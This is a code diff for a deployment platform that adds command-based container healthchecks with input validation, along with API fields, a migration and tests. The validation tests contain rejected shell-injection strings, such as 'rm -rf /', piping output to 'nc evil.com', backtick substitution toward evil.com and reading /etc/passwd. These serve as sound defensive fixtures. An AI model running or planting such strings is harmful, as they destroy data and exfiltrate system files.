diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 256308afd..ddef74226 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
- $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
+ $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
$validator = customApiValidator($request->all(), [
'name' => 'string|max:255',
@@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
$this->authorize('update', $application);
$server = $application->destination->server;
- $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
+ $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$validationRules = [
'name' => 'string|max:255',
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 3c9e12c24..dfcf9ee09 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -1810,7 +1810,8 @@ private function health_check()
$counter = 1;
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
- $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
+ $healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
+ $this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
}
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
$sleeptime = 0;
@@ -2768,6 +2769,14 @@ private function generate_local_persistent_volumes_only_volume_names()
private function generate_healthcheck_commands()
{
+ // Handle CMD type healthcheck
+ if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
+ $this->full_healthcheck_url = $this->application->health_check_command;
+
+ return $this->application->health_check_command;
+ }
+
+ // HTTP type healthcheck (default)
if (! $this->application->health_check_port) {
$health_check_port = (int) $this->application->ports_exposes_array[0];
} else {
diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php
index df2de5142..0d5d71b45 100644
--- a/app/Livewire/Project/Shared/HealthChecks.php
+++ b/app/Livewire/Project/Shared/HealthChecks.php
@@ -16,6 +16,12 @@ class HealthChecks extends Component
#[Validate(['boolean'])]
public bool $healthCheckEnabled = false;
+ #[Validate(['string', 'in:http,cmd'])]
+ public string $healthCheckType = 'http';
+
+ #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
+ public ?string $healthCheckCommand = null;
+
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
public string $healthCheckMethod;
@@ -54,6 +60,8 @@ class HealthChecks extends Component
protected $rules = [
'healthCheckEnabled' => 'boolean',
+ 'healthCheckType' => 'string|in:http,cmd',
+ 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
@@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void
// Sync to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
+ $this->resource->health_check_type = $this->healthCheckType;
+ $this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void
} else {
// Sync from model
$this->healthCheckEnabled = $this->resource->health_check_enabled;
+ $this->healthCheckType = $this->resource->health_check_type ?? 'http';
+ $this->healthCheckCommand = $this->resource->health_check_command;
$this->healthCheckMethod = $this->resource->health_check_method;
$this->healthCheckScheme = $this->resource->health_check_scheme;
$this->healthCheckHost = $this->resource->health_check_host;
@@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void
public function instantSave()
{
$this->authorize('update', $this->resource);
+ $this->validate();
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
+ $this->resource->health_check_type = $this->healthCheckType;
+ $this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@@ -143,6 +158,8 @@ public function submit()
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
+ $this->resource->health_check_type = $this->healthCheckType;
+ $this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@@ -171,6 +188,8 @@ public function toggleHealthcheck()
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
+ $this->resource->health_check_type = $this->healthCheckType;
+ $this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 04f19506f..a239c34db 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -61,6 +61,8 @@
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
+ 'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
+ 'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php
index efa444675..edb1e59a1 100644
--- a/bootstrap/helpers/api.php
+++ b/bootstrap/helpers/api.php
@@ -104,6 +104,8 @@ function sharedDataApplications()
'base_directory' => 'string|nullable',
'publish_directory' => 'string|nullable',
'health_check_enabled' => 'boolean',
+ 'health_check_type' => 'string|in:http,cmd',
+ 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'health_check_port' => 'integer|nullable|min:1|max:65535',
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
diff --git a/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php
new file mode 100644
index 000000000..cd9d98a1c
--- /dev/null
+++ b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php
@@ -0,0 +1,44 @@
+text('health_check_type')->default('http')->after('health_check_enabled');
+ });
+ }
+
+ if (! Schema::hasColumn('applications', 'health_check_command')) {
+ Schema::table('applications', function (Blueprint $table) {
+ $table->text('health_check_command')->nullable()->after('health_check_type');
+ });
+ }
+ }
+
+ /**
+ * Reverse the migrations.
+ */
+ public function down(): void
+ {
+ if (Schema::hasColumn('applications', 'health_check_type')) {
+ Schema::table('applications', function (Blueprint $table) {
+ $table->dropColumn('health_check_type');
+ });
+ }
+
+ if (Schema::hasColumn('applications', 'health_check_command')) {
+ Schema::table('applications', function (Blueprint $table) {
+ $table->dropColumn('health_check_command');
+ });
+ }
+ }
+};
diff --git a/openapi.json b/openapi.json
index d3bf08e30..9bfcd8442 100644
--- a/openapi.json
+++ b/openapi.json
@@ -11024,6 +11024,19 @@
"type": "integer",
"description": "Health check start period in seconds."
},
+ "health_check_type": {
+ "type": "string",
+ "description": "Health check type: http or cmd.",
+ "enum": [
+ "http",
+ "cmd"
+ ]
+ },
+ "health_check_command": {
+ "type": "string",
+ "nullable": true,
+ "description": "Health check command for CMD type."
+ },
"limits_memory": {
"type": "string",
"description": "Memory limit."
diff --git a/openapi.yaml b/openapi.yaml
index 6fb548f9f..76ebe9e96 100644
--- a/openapi.yaml
+++ b/openapi.yaml
@@ -6960,6 +6960,16 @@ components:
health_check_start_period:
type: integer
description: 'Health check start period in seconds.'
+ health_check_type:
+ type: string
+ description: 'Health check type: http or cmd.'
+ enum:
+ - http
+ - cmd
+ health_check_command:
+ type: string
+ nullable: true
+ description: 'Health check command for CMD type.'
limits_memory:
type: string
description: 'Memory limit.'
diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php
index 730353c87..8662b0b50 100644
--- a/resources/views/livewire/project/shared/health-checks.blade.php
+++ b/resources/views/livewire/project/shared/health-checks.blade.php
@@ -20,25 +20,51 @@
A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.
@endif
+
+ {{-- Healthcheck Type Selector --}}
-
-
-
+
+
+
-
-
-
-
-
-
-
-
-
-
-
+
+ @if ($healthCheckType === 'http')
+ {{-- HTTP Healthcheck Fields --}}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @else
+ {{-- CMD Healthcheck Fields --}}
+
+ This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.
+
+
+
+
+ @endif
+
+ {{-- Common timing fields (used by both types) --}}
@@ -49,4 +75,4 @@
label="Start Period (s)" required />
-
\ No newline at end of file
+
diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php
new file mode 100644
index 000000000..8ccb7c639
--- /dev/null
+++ b/tests/Feature/ApplicationHealthCheckApiTest.php
@@ -0,0 +1,120 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+ StandaloneDocker::withoutEvents(function () {
+ $this->destination = StandaloneDocker::firstOrCreate(
+ ['server_id' => $this->server->id, 'network' => 'coolify'],
+ ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+ );
+ });
+
+ $this->project = Project::create([
+ 'uuid' => (string) new Cuid2,
+ 'name' => 'test-project',
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Project boot event auto-creates a 'production' environment
+ $this->environment = $this->project->environments()->first();
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+});
+
+function healthCheckAuthHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
+ test('can update health_check_type to cmd with a command', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('cmd');
+ expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
+ });
+
+ test('can update health_check_type back to http', function () {
+ $this->application->update([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'redis-cli ping',
+ ]);
+
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('http');
+ expect($this->application->health_check_command)->toBeNull();
+ });
+
+ test('rejects invalid health_check_type', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'exec',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command with shell operators', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready; rm -rf /',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command over 1000 characters', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => str_repeat('a', 1001),
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php
new file mode 100644
index 000000000..038f3000e
--- /dev/null
+++ b/tests/Feature/CmdHealthCheckValidationTest.php
@@ -0,0 +1,90 @@
+ str_repeat('a', 1001)],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => null],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with([
+ 'pg_isready -U postgres',
+ 'redis-cli ping',
+ 'curl -f http://localhost:8080/health',
+ 'wget -q -O- http://localhost/health',
+ 'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+})->with([
+ 'pg_isready; rm -rf /',
+ 'redis-cli ping | nc evil.com 1234',
+ 'curl http://localhost && curl http://evil.com',
+ 'echo $(whoami)',
+ 'cat /etc/passwd > /tmp/out',
+ 'curl `whoami`.evil.com',
+ 'cmd & background',
+ 'echo "hello"',
+ "echo 'hello'",
+ 'test < /etc/passwd',
+ 'bash -c {echo,pwned}',
+ 'curl http://evil.com#comment',
+ 'echo $HOME',
+ "cmd\twith\ttabs",
+ "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+ $validator = Validator::make(
+ ['healthCheckType' => 'exec'],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+ $validator = Validator::make(
+ ['healthCheckType' => $type],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
index 87a7c3709..9bfc046b0 100644
--- a/tests/Unit/HealthCheckCommandInjectionTest.php
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -165,12 +165,69 @@
expect($validator->fails())->toBeFalse();
});
+it('generates CMD healthcheck command directly', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => "redis-cli ping\n&& echo pwned",
+ ]);
+
+ expect($result)->not->toContain("\n")
+ ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => '',
+ ]);
+
+ // Should fall through to HTTP path
+ expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => str_repeat('a', 1001)],
+ $rules
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ $rules
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
function callGenerateHealthcheckCommands(array $overrides = []): string
{
$defaults = [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
@@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
$values = array_merge($defaults, $overrides);
$application = Mockery::mock(Application::class)->makePartial();
+ $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+ $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php
new file mode 100644
index 000000000..55ba7f3d3
--- /dev/null
+++ b/tests/Unit/Policies/GithubAppPolicyTest.php
@@ -0,0 +1,227 @@
+makePartial();
+
+ $policy = new GithubAppPolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows any user to view system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('allows team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows user with system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows user with system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
new file mode 100644
index 000000000..f993978f9
--- /dev/null
+++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
@@ -0,0 +1,163 @@
+makePartial();
+
+ $policy = new SharedEnvironmentVariablePolicy;
